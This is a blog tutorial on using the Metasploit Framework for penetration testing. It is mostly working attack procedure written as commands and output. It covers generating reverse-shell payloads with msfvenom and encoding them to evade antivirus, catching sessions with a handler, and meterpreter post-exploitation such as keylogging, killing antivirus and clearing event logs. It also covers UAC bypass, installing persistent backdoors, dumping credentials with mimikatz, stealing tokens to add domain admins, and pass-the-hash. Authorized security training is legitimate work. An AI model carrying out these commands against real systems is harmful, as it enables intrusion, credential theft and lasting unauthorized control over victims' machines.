MSF Pentest Route
TyeYeah Lv4

Nowadays we have plenty of mature pentest framework that can benefit us from information gathering to penetration testing persistence.

Metasploit Framework Introduction

The most famous one for sure. It can be easily found on Github and Official Site. It is maintained in kali repository.

Here is the whole architecture:
architecture

Well, best way to learn a tool is to read official reference and source code.

Here I want to introduce just the usage, not detailed interpretation, architecture analysis and plugin development.

There are 6 corresponding modules:
auxiliary responsible for info gathering, scanning, sniffing, fingerprint (banner) recognition, password guessing, Dos etc.
exploit responsible for exploiting system vulnerabilities to attack.
payloads responsible for control target after successfully exploiting. Include 3 types:

  • single: all-in-one, a complete pack without dependencies on other packages
  • stagers: transfer a small payload for early connection
  • stages: use stagers connection to download later payload

encoder responsible for encode payload to bypass AntiVirus
nop responsible for improving payload stability and maintaining size
post responsible for post pentest, like getting seneitive info, attack via springboards.

Database Preparation

MSF use PostgreSQL to store reports and infos, and accelerate searching exp speed, but not necessary.

Initialize DB

Make sure you installed PostgreSQL before you want to use, and

1
2
3
4
5
6
7
8
9
10
11
12
$ systemctl start postgresql    # start postgresql
$ msfdb init # initialize database
$ msfdb
Manage the metasploit framework database
msfdb init # start and initialize the database
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it
msfdb start # start the database
msfdb stop # stop the database
msfdb status # check service status
msfdb run # start the database and run msfconsole
# or edit /usr/share/metasploit-framework/config/database.yml

After initialization, we check the status

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ msfconsole
...
msf > db_status
[*] postgresql connected to msf # and that's it

# connect manually
msf > db_disconnect
msf > db_status
[*] postgresql selected, no connection
msf > db_connect
[*] Usage: db_connect <user:pass>@<host:port>/<database>
[*] OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*] db_connect user@metasploit3
[*] db_connect user:pass@192.168.0.2/metasploit3
[*] db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect -y /usr/share/metasploit-framework/config/database.yml
[*] Rebuilding the module cache in the background...
msf > db_status
[*] postgresql connected to msf

Use DB

About how to utilize db, we always import data from other tools, then analyze it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# import nmap report (nmap '-oX' to produce)
# or use dbnmap straightly in msfconsole
msf > db_import /root/report
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.8.5'
[*] Importing host xx.xx.xx.xx
[*] Successfully imported /root/report

# show host list
msf > hosts
...
# show services
msf > services
...
# show password database
msf5 > loot
...
# show vulnerabilities based on former scanner results
msf5 > vulns
...
msf > # '-h' to see how to filter results

Basic Commands

Use msfconsole to enter MSF, you can add parameters allowed in msfconsole -h.

1
2
3
4
5
$ msfconsole -h
Usage: msfconsole [options]

Common options:
...

MSF seperates different pen-task with the workspace concept.
Different workspace may contain different global variables.

1
2
3
4
5
6
7
8
9
10
11
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information
msf >

In MSF use help to see all commands

1
2
3
4
5
6
7
8
9
10
11
msf > help

Core Commands
=============

Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
...
  • banner is for showing msf info.
  • exit is to quit msf to shell.
  • use is to select modules that I mentioned before.
  • back is for reselection when entered a wrong module.
  • info is for information of modules, like user, options, exploiting condition and available payloads.
  • set and unset are for setting options of a module.
  • setg and unsetg are for global options.
  • search is to find modules with some features. Use search -h to see detailed usage.
  • route is to set proxy/springboard in post pentest. Use route -h to do more.
  • sessions is to manage shells. Use sessions -h to see more.
  • show is to give suitable payload/encoder/option etc. (for specific module we use), like show payloads/show encoders/show options. Use show -h to see more.
  • run or exploit to attack, and after that normally you will get a reverse shell, or a better one –> meterpreter shell with advanced functions.

msfvenom

If you have no exp to use, make a shellcode to let target execute.
msfvenom is part of MSF, used for generate shellcode/payload.

Help Page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message

Show encoding (-e xxx to use) and encrypting (--encrypt xxxxx to use) methods:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ msfvenom --list encoders

Framework Encoders [--encoder <value>]
======================================

Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
...

$ msfvenom --list encrypt

Framework Encryption Formats [--encrypt <value>]
================================================

Name
----
aes256
base64
rc4
xor

Examples

Examples for generate shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# normal type
$ msfvenom -p <payload> <payload options> -f <format> -o <path>
$ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o ./back.exe LHOST=<Your IP Address> LPORT=<Your Port to Connect On>

# encode type
$ msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
$ msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o ./back.exe LHOST=<Your IP Address> LPORT=<Your Port to Connect On>

# bundled with other files
$ msfvenom -x <template file> -p <payload> <payload options> -f <format> -o <path>
$ msfvenom -p windows/meterpreter/reverse_tcp -x template.exe -i 3 -e x86/shikata_ga_nai -f exe -o ./back.exe LHOST=<Your IP Address> LPORT=<Your Port to Connect On>

# Linux
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
# MAC
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
# PHP
$ msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
# Asp
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

And we use exploit/multi/handler‍‍ to receive shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport xxxx
lport => xxxx
msf exploit(multi/handler) > exploit

[-] Exploit failed: The following options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf exploit(multi/handler) > set lhost xx.xx.xx.xx
lhost => xx.xx.xx.xx
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on xx.xx.xx.xx:xxxx
# after victim run the shellcode
[*] Sending stage (180291 bytes) to x.x.x.x
[*] Meterpreter session 1 opened (xx.xx.xx.xx:xxxx -> x.x.x.x:xx) at xxxxxx

meterpreter >

meterpreter

Use help to see detailed help page

1
2
3
4
5
6
7
8
9
10
11
meterpreter > help

Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
...

As it is an advanced shell, we can not only execute shell command, but do a lot more in intranet:

  1. Basic part
  • background or bg is to switch current session to background. Use sessions -i n to recovery.
  • sysinfo is to show system information.
  • idletime shows the time since previous operation.
  • enumdesktops is to show how many users logged.
  • cat is to view file.
  • del or rm is to delete file.
  • download is for copy things to local.
  • upload is to copy local file to victim.
  • search is to search files on victim. Use search -h to know how to use.
  • edit has the same usage as vim editor.
  • cd and pwd are for moving in victim pc.
  • lcd and lpwd are for moving in local.
  • ps is to check all process.
  • getuid is to view current user privilege.
  1. Advanced part
  • reboot and shutdown is to control power.
  • getsystem is used for privilege escalation to system.
  • hashdump is for hash dumping.
  • execute is for running software. Use single execute to see detailed functions.
  • migrate <pid> is to migrate meterpreter process to a new process.
  • shell is to get a cmd.
  • run killav is to kill antivirus services.
  • run xxx is to run msf scripts.
  • clearev is to clean your ass.
  1. More monitoring
  • run getgui -e is to start rdp.
  • run getgui -u username -p passwd is to add user.
  • run getgui -f xxxx -e is to forward 3389 to port xxxx.
  • netsh advfirewall set allprofiles state off is to stop firewall.
  • Webscan_list
  • Webscan_stream
  • Webscan_chat
  • steal_token is to steal token of specific pid.
  • use incognito is to load incognito to steal token or fake user.
  • list_tokens –u is to list user token.
  • list_tokens –g is to list user group token.
  • Key board logger
    1
    2
    3
    meterpreter > keyscan_start 
    meterpreter > keyscan_dump
    meterpreter > keyscan_stop
  • Sniff
    1
    2
    3
    4
    5
    meterpreter > use sniffer
    meterpreter > sniffer_interfaces
    meterpreter > sniffer_start 5
    meterpreter > sniffer_dump 5 /tmp/1.pcap
    meterpreter > sniffer_stop 5
  • screenshot or following
    1
    2
    meterpreter > use espia
    meterpreter > screengrab
  • run post/windows/gather/enum_chrome is to get chrome cache.
  • run post/windows/gather/dumplinks is to get latest file operation.
  • run post/windows/gather/enum_firefox is to get firefox cache.
  • run post/windows/gather/enum_ie is to get IE cache.
  • run post/windows/manage/enable_rdp is to open port 3389

While configuring exploit handler, you can set initial steps for meterpreter, like migrating to a normal process immediately, or set it to communicate using encoded messages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > show advanced
# show options
Module advanced options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ExitOnSession true yes Return from the exploit after a session has been created
ListenerTimeout 0 no The maximum number of seconds to wait for new sessions
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay when waiting for a session


Payload advanced options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
...
# set some options
msf6 exploit(multi/handler) > set AutoRunScript "migrate -n explorer.exe"
AutoRunScript => migrate -n explorer.exe
msf6 exploit(multi/handler) > set InitialAutoRunScript "screenshot"
InitialAutoRunScript => screenshot
msf6 exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
# increase logging
msf6 exploit(multi/handler) > setg LogLevel 5
LogLevel => 5
# log file at ~/.msf4/logs/framework.log, use `debug` to get quick diagnosis
msf6 exploit(multi/handler) > debug

Better use encrypted communication channel like:

  • meterpreter/reverse_winhttps
  • meterpreter/reverse_https
  • meterpreter/reverse_tcp_rc4
  • meterpreter/bind_tcp_rc4

Go to help page for more options.

How to use modules

First of all we have to get an aim, take ms18_8120_win32k_privesc as an example.

Use Modules

Search it in msfconsole, and select it

1
2
3
4
5
6
7
8
9
10
11
msf > search ms18
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
...
2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference
...
msf > use exploit/windows/local/ms18_8120_win32k_privesc
msf exploit(windows/local/ms18_8120_win32k_privesc) >

Now we are in ms18_8120_win32k_privesc context, and we can use info to see descriptions.

Set Options

If you are familiar with it, then use show options and set to see options and set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf exploit(windows/local/ms18_8120_win32k_privesc) > show options  
# or `show missing`, see options to set
# `show advanced` for high-level usage
Module options (exploit/windows/local/ms18_8120_win32k_privesc):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(windows/local/ms18_8120_win32k_privesc) > set session 1
session => 1

This module depends on meterpreter, so we dont need to set payload for it, while modules like ms08_067_netapi not.

Set Payload

Modules like ms08_067_netapi need to set a payload to let target provides a reverse meterpreter or shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf5 exploit(windows/smb/ms08_067_netapi) > show payloads 

Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
...
44 windows/meterpreter/reverse_tcp normal No ........... # common
...

msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > show options
...
msf exploit(windows/smb/ms08_067_netapi) > set lhost x.x.x.x
lhost => x.x.x.x
msf exploit(windows/smb/ms08_067_netapi) > set lport 4444
lport => xxxx

Exploit

Finally type run or exploit to attack.

Information Gathering

Before attacking, firstly we have to gather info.

Built-in module

Just search string and you can find scanner you like.
Here I give some examples.
Scan host and port

1
2
3
4
5
6
7
8
9
10
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scancer/smb/smb_version
auxiliary/scanner/smb/smb_enumshares
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scanner/rdp/rdp_scanner
auxiliary/scanner/smtp/smtp_enum
auxiliary/scanner/http/cert
...

Gather target asset information

1
2
3
4
5
6
7
8
auxiliary/gather/enum_dns
auxiliary/gather/searchengine_subdomains_collector
auxiliary/gather/corpwatch_lookup_name # need api
auxiliary/gather/censys_search # need api
auxiliary/gather/shodan_search # need api
auxiliary/gather/shodan_honeyscore # need api
auxiliary/gather/search_email_collector
...

Brute force login

1
2
3
4
5
6
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/snmp/snmp_enum
...

Scan services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auxiliary/scanner/ftp/ftp_version # find ftp(21)
auxiliary/scanner/ssh/ssh_version # find ssh(22)
auxiliary/scanner/telnet/telnet_version # find telnet(23)
auxiliary/scanner/dns/dns_amp # find dns(53)
auxiliary/scanner/http/http_version # find http(80)
auxiliary/scanner/http/title # scan http title
auxiliary/scanner/smb/smb_version #find smb(445)
auxiliary/scanner/mssql/mssql_schemadump # find SQLServer(1433)
auxiliary/scanner/oracle/oracle_hashdump # find oracle(1521)
auxiliary/scanner/mysql/mysql_version # find mysql(3306)
auxiliary/scanner/rdp/rdp_scanner # find RDP(3389)
auxiliary/scanner/redis/redis_server # find Redis(6379)
auxiliary/scanner/db2/db2_version # find db2(50000)
auxiliary/scanner/netbios/nbname # scan LAN host netbios name

As for vulnerabilities scanner, search it by yourself.

NMAP

Plenty parameters:

  1. Host scan
  • -sn – ping to scan host
  • -sA – scan host using TCP ACK
  1. Port scan
  • -oX – export scan report to db_import(mentioned above)
  • -sT – scan ports using TCP three-way handshake
  • -sS – scan ports using TCP SYN (more hidden)
  • -p – set port range, like -p 1-65535
  • -sU – scan UDP ports
  • -Pn – no ping
  • -sF – scan port using FIN (similar to -sX, -sN, but with different flag)
  1. Specific information
  • -O – recognize operation system
  • -sV – produce port service version info
  • -A – comprehensive scan
  1. Disguise
  • -e – assign netcard
  • -S – disguise ip, must with -e and -Pn
  • -D – some other fake ip is needed

db_nmap can be used in msfconsole and store data right in msfdb.
Example:

1
2
3
4
5
6
7
msf > db_nmap -Pn -sTV -T4 --open --min-parallelism 64 --version-all 192.168.177.144 -p -
# '-sTV' -- combination of '-sT' and '-sV'
# '-T4' -- speed up
# '-open' -- just display open port
# '--min-parallelism' -- concurrent number of packets
# '--version-all' -- try every version test on every port
# '-p -' -- scan all ports
  1. NSE(Nmap Script Engine)
    You can find them in /usr/share/nmap/scripts/, and use like nmap --script <scriptname> <host ip>
    Example:
    1
    2
    3
    msf5 > db_nmap --open -sTV -Pn -p 80,8020,8022,8080,8282,8383,8484,8585,9200 --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup- 
    finder,http-config-backup,http-default-accounts,http-methods,http-method-tamper,http-passwd,http-robots.txt,ssl-poodle,ssl-heartbleed,http-webdav-scan,h
    ttp-iis-webdav-vuln xx.xx.xx.xx

    Privilege Escalation

    When you get a meterpreter, try getsystem is a direct method.
    Here are several modules to bypass UAC. All the following base on having meterpreter as session 1.
    1
    2
    3
    4
    exploit/windows/local/bypassuac  
    exploit/windows/local/bypassuac_fodhelper
    exploit/windows/local/bypassuac_comhijack
    exploit/windows/local/bypassuac_eventvwr
    Furthermore, ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18-8120 can also be used.

Lateral Movement ( Routing )

We still need a meterpreter to do the following.
First we print the network

1
2
3
4
meterpreter > ipconfig/ifoncig    # show ip
meterpreter > arp –a # show host in arp cache
meterpreter > route # print route
meterpreter > netstat -an # show connecting ports

Then we add a route to msf

1
2
3
4
5
6
7
meterpreter > run get_local_subnets   
meterpreter > route add xx.xx.xx.xx 255.255.255.0 1 # add route table
meterpreter > run autoroute -s xx.xx.xx.xx/24 -n 255.255.255.0 # add static route
meterpreter > run autoroute -s xx.xx.xx.xx/24 # add dynamic route
meterpreter > run autoroute -p # view route
meterpreter > run autoroute -d -s x.x.x.x # delete route
meterpreter > run post/windows/gather/arp_scanner RHOSTS=xxx.xxx.xxx.xxx/24 # scan hosts

Or we do port forwarding

1
2
meterpreter > portfwd add -l 2222 -r 127.0.0.1 -p 3389
# listen local 2222 and transfer it to 127.0.0.1:3389

Or we set socks proxy

1
2
3
4
5
msf > use auxiliary/server/socks4a
msf auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

Pentest Persistence

post module provides a lot to use

1
2
3
4
5
6
7
8
9
post/windows/gather/checkvm 
post/windows/gather/enum_applications
post/windows/gather/enum_patches
post/windows/gather/enum_domain
post/windows/manage/killav
post/windows/manage/enable_rdp
post/windows/gather/enum_logged_on_users
post/windows/gather/credentials/windows_autologin
post/windows/manage/enable_rdp username=xxx password=xxx

We have persistence module to help.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

# example
meterpreter > run persistence -U -i 5 -p xxxx -r xx.xx.xx.xx
# -U -- start after user login
# -i -- set Intervals(seconds)
# -p -- set port to connect
# -r -- set host to connect
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
...
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\KYhpRVsujDvJCry

Another module metsvc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > run metsvc -h

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]

OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)

meterpreter > run metsvc

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
...
Service metsvc successfully installed.

Steal Credentials

Still in meterpreter, we load mimikatz module to do

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > load                # we can load a lot
load espia load kiwi load powershell load unhook
load extapi load lanattacks load python load winpmem
load incognito load peinjector load sniffer
meterpreter > load mimikatz
meterpreter > run hashdump
meterpreter > msv # get hash
meterpreter > kerberos # get plain
meterpreter > ssp # get plain text
meterpreter > wdigest # get plain text in memory
meterpreter > tspkg
meterpreter > mimikatz_command -f samdump::hashes # get hash
meterpreter > mimikatz_command -f handle::list # list applications
mimikatz_command -f service::list # list services
meterpreter > mimikatz_command -f sekurlsa::searchPasswords # search password

Or we forge token by incognito module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > use incognito     # load token module
meterpreter > list_tokens -u # list token ('system' needed)
Delegation Tokens Available
========================================
DD-03FAD19C565F\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token DD-03FAD19C565F\\Administrator # steal the token of administrator, an extra slash is needed
[+] Delegation token available
[+] Successfully impersonated user DD-03FAD19C565F\Administrator
meterpreter > add_user admin passwd -h domainserver_ip # add user to domain
meterpreter > add_group_user "Domain Admins" admin -h domainserver_ip # add user to be domain admins

Pass-The-Hash

And we have Pass-The-Hash, which means we can login just using LM-Hash and NTLM-Hash.

In msf

1
2
3
4
5
6
7
8
msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost attacker_ip
msf exploit(psexec) > set rhost target_ip
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 6d181cfaad0258eaaad3b435b51404ee: 9d482ae1705fd48c581e20a4123fb0dc
# `LM-Hash`: `NTLM-Hash`.
msf exploit(psexec) > exploit

Using mimikatz

1
2
# ntlm hash
sekurlsa::pth /user:administrator /domain:target_ip /ntlm:9d482ae1705fd48c581e20a4123fb0dc

Or we use regular user hash

1
2
# ntlm hash
sekurlsa::pth /user:man /domain:192.168.222.131 /ntlm:3dbde697d71690a769204beb12283678
Powered by Hexo & Theme Keep
Total words 135.7k